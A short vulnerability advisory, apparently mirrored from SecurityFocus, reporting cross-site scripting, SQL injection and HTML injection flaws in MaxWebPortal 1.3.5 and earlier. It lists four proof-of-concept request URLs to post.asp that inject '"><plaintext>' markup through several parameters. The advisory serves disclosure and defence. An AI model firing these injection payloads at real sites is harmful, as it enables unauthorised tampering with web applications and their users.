15 lines
No EOL
708 B
Text
Executable file
15 lines
No EOL
708 B
Text
Executable file
source: http://www.securityfocus.com/bid/13601/info
|
|
|
|
MaxWebPortal is affected by multiple remote vulnerabilities. These issues may allow an attacker to carry out cross-site scripting, SQL injection and HTML injection attacks.
|
|
|
|
MaxWebPortal 1.3.5 and prior versions are reportedly vulnerable to these issues.
|
|
|
|
Cross-site Scripting
|
|
/post.asp?method=Topic&FORUM_ID=1& CAT_ID=1&Forum_Title=%00General+Chat&mod="><plaintext>
|
|
|
|
/post.asp?method=Topic&FORUM_ID=1& CAT_ID=1&Forum_Title=%00General+Chat&M="><plaintext>
|
|
|
|
/post.asp?method=Topic&FORUM_ID=1& CAT_ID=1&Forum_Title=%00General+Chat&type="><plaintext>
|
|
|
|
HTML Injection:
|
|
/post.asp?method=Topic&FORUM_ID=1& CAT_ID=1&Forum_Title=http://<plaintext> |